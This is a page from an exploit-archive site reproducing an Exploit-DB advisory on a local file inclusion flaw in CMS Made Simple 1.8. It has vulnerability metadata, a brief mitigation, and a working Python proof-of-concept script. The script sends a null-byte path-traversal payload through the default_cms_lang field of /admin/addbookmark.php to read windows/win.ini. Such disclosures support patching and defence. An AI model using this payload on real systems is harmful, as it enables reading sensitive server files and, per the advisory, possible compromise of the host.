Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
CMS Made Simple Local File Inclusion Vulnerability - exploit.company
header-logo
Suggest Exploit
vendor:
CMS Made Simple
by:
John Leitch
7.5
CVSS
HIGH
Local File Inclusion
22
CWE
Product Name: CMS Made Simple
Affected Version From: 1.8
Affected Version To: 1.8
Patch Exists: YES
Related CWE:
CPE: a:cms_made_simple:cms_made_simple:1.8
Metasploit:
Other Scripts:
Platforms Tested: Windows Vista + XAMPP
2010

CMS Made Simple Local File Inclusion Vulnerability

A local file inclusion vulnerability in CMS Made Simple 1.8 can be exploited to include arbitrary files.

Mitigation:

Ensure proper sanitization of user-supplied input to prevent file inclusion vulnerabilities.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/41565/info

CMS Made Simple is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

# ------------------------------------------------------------------------ 
# Software................CMS Made Simple 1.8 
# Vulnerability...........Local File Inclusion 
# Download................http://www.cmsmadesimple.org/ 
# Release Date............7/11/2010 
# Tested On...............Windows Vista + XAMPP 
# ------------------------------------------------------------------------ 
# Author..................John Leitch 
# Site....................http://cross-site-scripting.blogspot.com/ 
# Email...................john.leitch5@gmail.com 
# ------------------------------------------------------------------------ 
#  
# --Description--
# 
# A local file inclusion vulnerability in CMS Made Simple 1.8 can be
# exploited to include arbitrary files.
# 
# 
# --PoC--
import httplib, urllib

host = 'localhost'
path = '/cmsms'

lfi = '../' * 32 + 'windows/win.ini\x00'

c = httplib.HTTPConnection(host)
c.request('POST', path + '/admin/addbookmark.php',
          urllib.urlencode({ 'default_cms_lang': lfi }),
          { 'Content-type': 'application/x-www-form-urlencoded' })
r = c.getresponse()

print r.status, r.reason
print r.read()